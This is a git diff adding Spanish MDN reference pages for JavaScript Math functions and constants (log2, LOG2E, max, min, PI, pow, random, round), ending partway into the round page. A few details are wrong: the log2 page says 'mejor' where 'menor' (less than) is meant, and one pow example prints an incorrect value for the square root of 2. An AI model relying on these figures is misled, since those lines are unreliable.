+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El logaritmo base 2 del número usado como parámetro. Si el número es negativo, {{jsxref("NaN")}} será retornado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si el valor de <code>x</code> es mejor a 0, el valor de retorno es siempre {{jsxref("NaN")}}.</p>
+
+<p>Debido a que <code>log2()</code> es una función estática de <code>Math</code>, siempre debe ser usado como <code>Math.log2()</code>, en lugar de ser usado como un método del objeto <code>Math</code> (<code>Math</code> no es un constructor).</p>
+
+<p>Esta función es equivalente a Math.log(x) / Math.log(2).  Para log2(e) use la constante {{jsxref("Math.LOG2E")}} que es 1 / {{jsxref("Math.LN2")}}.  </p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.log2()">Usando <code>Math.log2()</code></h3>
+
+<pre class="brush: js">Math.log2(3);    // 1.584962500721156
+Math.log2(2);    // 1
+Math.log2(1);    // 0
+Math.log2(0);    // -Infinity
+Math.log2(-2);   // NaN
+Math.log2(1024); // 10
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This Polyfill emulates the <code>Math.log2</code> function. Note that it returns imprecise values on some inputs (like 1 &lt;&lt; 29), wrap into {{jsxref("Math.round()")}} if working with bit masks.</p>
+
+<pre class="brush: js">Math.log2 = Math.log2 || function(x) {
+  return Math.log(x) * Math.LOG2E;
+};
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.log2', 'Math.log2')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log2', 'Math.log2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.log2")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/log2e/index.html b/files/es/web/javascript/referencia/objetos_globales/math/log2e/index.html
new file mode 100644
index 0000000000..f9593b4bc6
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/log2e/index.html
@@ -0,0 +1,27 @@
+---
+title: Math.LOG2E
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/LOG2E
+tags:
+  - JavaScript
+  - Math
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+---
+<div>
+ {{JSRef("Objetos_globales", "Math")}}</div>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>El base 2 del logaritmo natural de E (aproximadamente 1.442).</p>
+<div>
+ {{js_property_attributes(0,0,0)}}</div>
+<h2 id="Description" name="Description">Descripción</h2>
+<p>Porque <code>LOG2E</code> es una propiedad estática de <code>Math</code>, siempre usted lo usa como <code>Math.LOG2E</code>, en lugar de una propedad de un objecto de <code>Math</code> usted creó.</p>
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+<h3 id="Example:_Using_Math.LOG2E" name="Example:_Using_Math.LOG2E">Ejemplo: Usar <code>Math.LOG2E</code></h3>
+<p>La función siguiente devuelve el base 2 del logaritmo natural del <code>E</code>:</p>
+<pre class="brush:js">function getLog2e() {
+   return Math.LOG2E
+}</pre>
+<h2 id="Ven_También">Ven También</h2>
+<ul>
+ <li>El {{jsxref("Math")}} objeto.</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/max/index.html b/files/es/web/javascript/referencia/objetos_globales/math/max/index.html
new file mode 100644
index 0000000000..0e0f82881c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/max/index.html
@@ -0,0 +1,145 @@
+---
+title: Math.max()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/max
+tags:
+  - JavaScript
+  - Math
+  - Método(2)
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/max
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La función <strong><code>Math.max()</code></strong> devuelve el mayor de cero o más números.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.max([<var>valor1</var>[, <var>valor2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>valor1, valor2, ...</code></dt>
+ <dd>Números.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Ya que <code>max()</code> es un método estático de <code>Math</code>, siempre debe usarse como <code>Math.max()</code>, en lugar de un método de un objeto <code>Math</code> instanciado (<code>Math</code> no es un constructor).</p>
+
+<p>Si no se proporcionan argumentos, el resultado es -{{jsxref("Global_Objects/Infinity", "Infinity")}}.</p>
+
+<p>Si al menos uno de los argumentos no puede ser convertido a número, el resultado es {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_Math.max" name="Example:_Using_Math.max">Ejemplo: Usando <code>Math.max()</code></h3>
+
+<pre class="brush: js">Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+</pre>
+
+<p>La siguiente función usa {{jsxref("Function.prototype.apply()")}} para encontrar el elemento mayor en un array numérico. <code>getMaxOfArray([1, 2, 3])</code> es equivalente a <code>Math.max(1, 2, 3)</code>, pero se puede usar <code>getMaxOfArray()</code> sobre arreglos construidos programáticamente de cualquier tamaño.</p>
+
+<pre class="brush: js">function getMaxOfArray(numArray) {
+  return Math.max.apply(null, numArray);
+}
+</pre>
+
+<p>O con el nuevo {{jsxref("Operadores/Spread_operator", "spread operator")}}, obtener el máximo de un arreglo se vuelve mucho más fácil.</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+var max = Math.max(...arr);</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1ra Edición.</td>
+   <td>Estandar</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility"><span style="font-size: 14px; font-weight: normal; line-height: 1.5;">{{CompatibilityTable}}</span></h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Móvil (Gecko)</th>
+   <th>IE Móvil</th>
+   <th>Opera Móvil</th>
+   <th>Safari Móvil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver además</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/min/index.html b/files/es/web/javascript/referencia/objetos_globales/math/min/index.html
new file mode 100644
index 0000000000..a2dbf8348a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/min/index.html
@@ -0,0 +1,150 @@
+---
+title: Math.min()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/min
+tags:
+  - JavaScript
+  - Math
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/min
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.min()</code></strong> devuelve el menor de cero o más números.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.min([<var>valor1</var>[, <var>valor2</var>[, ...]]])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valor1, valor2, ...</code></dt>
+ <dd>Números.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Ya que <code>min()</code> es un método estático de <code>Math</code>, siempre debe usarse como <code>Math.min()</code>, en lugar de como un método de un objeto <code>Math</code> instanciado (Math no es un constructor).</p>
+
+<p>Si no se proporcionan argumentos, el resultado es {{jsxref("Infinity")}}.</p>
+
+<p>Si al menos uno de los argumentos no puede ser convertido a número, el resultado es {{jsxref("NaN")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.min()">Usando <code>Math.min()</code></h3>
+
+<p>Lo siguiente encuentra el mínimo de <code>x</code> e <code>y</code> y lo asigna a <code>z</code>:</p>
+
+<pre class="brush: js">var x = 10, y = -20;
+var z = Math.min(x, y);
+</pre>
+
+<h3 id="Recortando_un_valor_con_Math.min()">Recortando un valor con <code>Math.min()</code></h3>
+
+<p><code>Math.min()</code> es a menudo usado para recortar un valor de tal manera que siempre sea menor o igual a un límite. Este ejemplo</p>
+
+<pre class="brush: js">var x = f(foo);
+
+if (x &gt; limite) {
+  x = limite;
+}
+</pre>
+
+<p>puede ser escrito de la siguiente manera</p>
+
+<pre class="brush: js">var x = Math.min(f(foo), limite);
+</pre>
+
+<p>{{jsxref("Math.max()")}} puede ser usado en una forma similar para recortar un valor en el otro extremo.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Móvil (Gecko)</th>
+   <th>IE Móvil</th>
+   <th>Opera Móvil</th>
+   <th>Safari Móvil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/pi/index.html b/files/es/web/javascript/referencia/objetos_globales/math/pi/index.html
new file mode 100644
index 0000000000..d4428498cd
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/pi/index.html
@@ -0,0 +1,126 @@
+---
+title: Math.PI
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/PI
+tags:
+  - JavaScript
+  - Math
+  - Propiedad
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI
+---
+<div>{{JSRef}}</div>
+
+<div>La propiedad <code><strong>Math.PI</strong></code> representa la relacion entre la longitud de la circunferencia de un circulo y su diametro, la cual es aproximadamente 3.14159.</div>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.PI</mi></mstyle><mo>=</mo><mi>π</mi><mo>≈</mo><mn>3.14159</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.PI}} = \pi \approx 3.14159</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Debido a que PI es una propiedad estatica del modulo <strong><code>Math</code></strong>, siempre debes de utilizarla como <strong><code>Math.PI</code></strong>, en lugar de una propiedad de un objeto <strong><code>Math</code></strong> que tu hayas creado ( <strong><code>Math</code></strong> no es un constructor ).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_Math.PI">Utilizando <code>Math.PI</code></h3>
+
+<p>La siguiente función utiliza <strong><code>Math.PI</code></strong> para calcular la longitud de la circunferencia de un circulo mediante el radio del circulo proporcionado como parametro.</p>
+
+<pre class="brush: js">function calculaCircunferencia(radio) {
+  return 2 * Math.PI * radio;
+}
+
+calculaCircunferencia(1);  // 6.283185307179586
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>
+    <p>Definición inicial. Implementado en JavaScript 1.0.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pi', 'Math.PI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.pi', 'Math.PI')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_Compatibles">Navegadores Compatibles</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>{{jsxref("Math")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/pow/index.html b/files/es/web/javascript/referencia/objetos_globales/math/pow/index.html
new file mode 100644
index 0000000000..7185cffede
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/pow/index.html
@@ -0,0 +1,140 @@
+---
+title: Math.pow()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/pow
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La función  <strong><code>Math.pow()</code></strong> devuelve la  <code>base elevada al</code> <code>exponente</code> , esto es, <code>base<sup>exponente</sup></code>.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.pow(<var>base</var>, <var>exponente</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametros</h3>
+
+<dl>
+ <dt><code>base</code></dt>
+ <dd>El número base.</dd>
+ <dt><code>exponente</code></dt>
+ <dd>El exponente utilizado para elevar la <code>base</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>La función <strong><code>Math.pow()</code></strong> retorna la <code>base</code> elevada al <code>exponente</code>, es decir, <code>base<sup>exponente</sup></code>. La base y el exponente estan en el sistema numérico decimal.</p>
+
+<p>Puesto que <code>pow()</code> es un método estático de <code>Math</code>, siempre se utiliza como <code>Math.pow()</code>. Si la base es negativa y el exponente no es un número entero, el resultado será NaN.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example_Using_Math.pow" name="Example:_Using_Math.pow">Ejemplo: Usando <code>Math.pow()</code></h3>
+
+<pre class="brush: js">// simple
+Math.pow(7, 2);    // 49
+Math.pow(7, 3);    // 343
+Math.pow(2, 10);   // 1024
+// exponentes fraccionales
+Math.pow(4, 0.5);  // 2 (raíz cuadrada de 4)
+Math.pow(8, 1/3);  // 2 (raíz cúbica de 8)
+Math.pow(2, 0.5);  // 1.412135623730951 (raíz cuadrada de 2)
+Math.pow(2, 1/3);  // 1.2599210498948732 (raíz cúbica de 2)
+// exponentes con signo
+Math.pow(7, -2);   // 0.02040816326530612 (1/49)
+Math.pow(8, -1/3); // 0.5
+// bases con signo
+Math.pow(-7, 2);   // 49 (los cuadrados son positivos)
+Math.pow(-7, 3);   // -343 (El cubo de una base negativa puede ser negativo)
+Math.pow(-7, 0.5); // NaN (Los números negativos no tienen raíz cuadrada real)
+Math.pow(-7, 1/3); // NaN
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Estándar</td>
+   <td>Definición inicial implementada en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.13', 'Math.pow')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pow', 'Math.pow')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/random/index.html b/files/es/web/javascript/referencia/objetos_globales/math/random/index.html
new file mode 100644
index 0000000000..ace95bc0cf
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/random/index.html
@@ -0,0 +1,132 @@
+---
+title: Math.random()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/random
+tags:
+  - JavaScript
+  - Math
+  - Números Aleatorios
+  - Random
+  - Referências
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/random
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>La función <strong><code>Math.random()</code></strong> retorna un punto flotante, un número pseudo-aleatorio dentro del rango <code>[0, 1).</code> Esto es, desde el 0 (Incluido) hasta el 1 pero sin incluirlo (excluido), el cual se puede escalar hasta el rango deseado. La implementación selecciona la semilla inicial hasta el algoritmo que genera el número aleatorio; este no puede ser elegido o cambiado por el usuario.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> <code>Math.random()</code> <strong>NO</strong> provee números aleatorios con seguridad criptográfica. No deben ser usados para algo relacionado con seguridad. En vez de eso, usar la API Web Crypto, y más precisamente el método: {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.random()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_Math.random" name="Example:_Using_Math.random">Ejemplo: Usando <code>Math.random()</code></h3>
+
+<p>Notar que, como los números en Javascript son números de punto flotante IEEE 754 con redondeo-al-par-más-cercano, los rangos generados por las funciones de abajo (excluyendo a <code>Math.random()</code> en sí misma) no son exactos. Si se eligen límites extremadamente grandes (2<sup>53</sup> o más), es posible, en casos extremadamente raros, calcular el generalmente-excluído límite superior.</p>
+
+<pre class="brush: js">// Retorna un número aleatorio entre 0 (incluido) y 1 (excluido)
+function getRandom() {
+  return Math.random();
+}
+</pre>
+
+<pre class="brush: js">// Retorna un número aleatorio entre min (incluido) y max (excluido)
+function getRandomArbitrary(min, max) {
+  return Math.random() * (max - min) + min;
+}
+</pre>
+
+<pre class="brush: js">// Retorna un entero aleatorio entre min (incluido) y max (excluido)
+// ¡Usando Math.round() te dará una distribución no-uniforme!
+function getRandomInt(min, max) {
+  return Math.floor(Math.random() * (max - min)) + min;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1a Edición.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. JavaScript 1.0 (Sólo UNIX) / JavaScript 1.1 (Todas las plataformas).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.14', 'Math.random')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/round/index.html b/files/es/web/javascript/referencia/objetos_globales/math/round/index.html
new file mode 100644
index 0000000000..0257148e69
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/round/index.html
@@ -0,0 +1,218 @@
+---
+title: Math.round()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/round
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/round
+---
+<div>{{JSRef}}</div>
+
+<div>La función <strong><code>Math.round() </code></strong><code>retorna el valor de un número redondeado al entero más cercano.</code></div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>Devuelve el valor del número dado redondeado al entero más cercano.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.round(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<dl>
+ <dd>El valor del número dado redondeado al entero más cercano.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si la porción fraccionaría del número es 0.5 o mayor, el argumento es redondeado al siguiente número entero superior. Si la porción de la fracción del número es menor a 0.5, el argumento es redondeado al siguiente número entero inferior.</p>
+
+<p>Debido a que round() es un método estático de Math, siempre se debe utilizar como  Math.round(),  en vez de un método del objeto Math que ha creado. (Math no es un constructor)</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.round">Usando <code>Math.round()</code></h3>
+
